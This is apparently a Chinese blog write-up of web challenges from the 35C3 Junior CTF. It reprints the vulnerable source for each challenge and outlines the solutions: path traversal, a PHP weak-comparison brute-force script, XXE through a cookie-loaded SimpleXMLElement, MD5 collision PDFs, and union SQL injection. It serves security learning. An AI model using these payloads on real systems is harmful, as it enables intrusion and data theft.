35c3CTF junior 部分web wp
- 2019 年 10 月 8 日
- 筆記

flags
进入题目
<?php highlight_file(__FILE__); $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot'; $lang = explode(',', $lang)[0]; $lang = str_replace('../', '', $lang); $c = file_get_contents("flags/$lang"); if (!$c) $c = file_get_contents("flags/ot"); echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
很简单双写绕过一下就好了

可以看到图片的base64 解码一下

签到题
凯撒加密跑一下就有了

McDonald
访问之后可以在robots.txt发现有

将.DS_Store里面的东西下载下来

可以看到有个flag.txt 访问一下

logged in
在登录的时候可以抓到一个包

包里面有登录的验证吗

在登录之后能在cookie里面找到自己的flag (找了挺久)
saltfish
<?php require_once('flag.php'); if ($_ = @$_GET['pass']) { $ua = $_SERVER['HTTP_USER_AGENT']; if (md5($_) + $_[0] == md5($ua)) { if ($_[0] == md5($_[0] . $flag)[0]) { echo $flag; } } } else { highlight_file(__FILE__); }
一眼就看到两个弱等于 而且$和$ua都是可控的先过第一条 md5($_)+$_[0]==md5($ua)
因为 $_是个数组所以md5($_)
是null获得的值其实是$[0] 不过flag的值是不知道的最后 $_[0]==md5($_[0].$flag)[0]
只能靠暴力破解了
import requests url = "http://35.207.89.211/?pass[]=0e" headers = { 'Host': '35.207.89.211', 'User-Agent': 'QNKCDZO', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Origin': 'www.ckj123.com' } for i in xrange(100): html = requests.get(url+str(i)) if '35c3' in html.content: break print html.text

怎么感觉我是非预期=。=
blind
源码2333我喜欢
<?php function __autoload($cls) { include $cls; } class Black { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set("highlight.string", "#0d0d0d"); if ($default) ini_set("highlight.default", "#0d0d0d"); if ($keyword) ini_set("highlight.keyword", "#0d0d0d"); if ($store) { setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/'); } } } class Green { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set("highlight.string", "#00fb00"); if ($default) ini_set("highlight.default", "#00fb00"); if ($keyword) ini_set("highlight.keyword", "#00fb00"); if ($store) { setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/'); } } } if ($_=@$_GET['theme']) { if (in_array($_, ["Black", "Green"])) { if (@class_exists($_)) { ($string = @$_GET['string']) || $string = false; ($default = @$_GET['default']) || $default = false; ($keyword = @$_GET['keyword']) || $keyword = false; new $_($string, $default, $keyword, @$_GET['store']); } } } else if ($_=@$_COOKIE['theme']) { $args = explode('-', $_); if (class_exists($args[0])) { new $args[0]($args[1], $args[2], $args[3], ''); } } else if ($_=@$_GET['info']) { phpinfo(); } highlight_file(__FILE__);
问了下辉神 辉神给了我一个函数 SimpleXMlElement

让他的data is url 为true允许加载url的xml 很明显是XXE 在自己服务器上写一个xml cookie
是这个就可以了 theme=SimpleXMlElement-http://服务器路径/1.xml-2-true
差不多的 https://mochazz.github.io/2018/07/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day3%20-%20%E5%AE%9E%E4%BE%8B%E5%8C%96%E4%BB%BB%E6%84%8F%E5%AF%B9%E8%B1%A1%E6%BC%8F%E6%B4%9E/
Not(e) accessible
入手发现只有两个功能看自己的文章和写文章
然后id和pw都是随机数 想着应该有源码泄露

果然在页面里面找到了之后拿到源码
<?php require_once "config.php"; if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") { $note = $_POST['note']; if(strlen($note) > 1000) { die("ERROR! - Text too long"); } if(!preg_match("/^[a-zA-Z]+$/", $note)) { die("ERROR! - Text does not match /^[a-zA-Z]+$/"); } $id = random_int(PHP_INT_MIN, PHP_INT_MAX); $pw = md5($note); # Save password so that we can check it later file_put_contents("./pws/$id.pw", $pw); file_get_contents($BACKEND . "store/" . $id . "/" . $note); echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">'; echo "<p>Your note ID is $id<br>"; echo "Your note PW is $pw</p>"; echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>"; echo '</div>'; } ?>
<?php header("Content-Type: text/plain"); ?> <?php require_once "config.php"; if(isset($_GET['id']) && isset($_GET['pw'])) { $id = $_GET['id']; if(file_exists("./pws/" . (int) $id . ".pw")) { if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) { echo file_get_contents($BACKEND . "get/" . $id); } else { die("ERROR!"); } } else { die("ERROR!"); } } ?>
require 'sinatra' set :bind, '0.0.0.0' get '/get/:id' do File.read("./notes/#{params['id']}.note") end get '/store/:id/:note' do File.write("./notes/#{params['id']}.note", params['note']) puts "OK" end get '/admin' do File.read("flag.txt") end

/../../admin

collier
还是没啥东西然后再看看源码 果然给了源码

下载下来 最主要的地方在这
<?php include_once "config.php"; if(isset($_POST['submit'])) { $pdf1 = $_FILES['pdf1']['tmp_name']; $pdf2 = $_FILES['pdf2']['tmp_name']; if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) { die("The first pdf does not contain 'NO FLAG!'"); } if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) { die("The second pdf does not contain 'GIVE FLAG!'"); } if(md5_file($pdf1) != md5_file($pdf2)) { die("The MD5 hashes do not match!"); } echo "$FLAG"; } ?>

这个表示只能一行
一直以为是弱等于的原因感谢smi1e师傅的指点~ 直接用https://github.com/cr-marcstevens/hashclash 这个的工具就可以了=。= 生成两个MD5一样的
DB Serect
英语不好吃亏呀=。= 后来才知道这道题有源码,之前都不知道该怎么下手。。 访问 view-source:http://35.207.132.47/pyserver/server.py
拿到源码
可以看到很多地方都是问号拼接进去的,但是明显有个地方 不是问号拼接进去的
@app.route("/api/getprojectsadmin", methods=["POST"]) def getprojectsadmin(): # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); name = request.cookies["name"] token = request.cookies["token"] user, username, email, usertype = user_by_token(token) json = request.get_json(force=True) offset = json["offset"] sorting = json["sorting"] if name != "admin": raise Exception("InvalidUserName") sortings = { "newest": "created DESC", "oldest": "created ASC", "lastmodified": "lastModified DESC" } sql_sorting = sortings[sorting] if not offset: offset = datetime.datetime.now() return jsonify_projects(query_db( "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")
首先登陆admin

构造一个这样的json

找一找自己要注入的数据放在那里

可以看到他在secrets表的secret字段里面

就是一个很简单的union注入
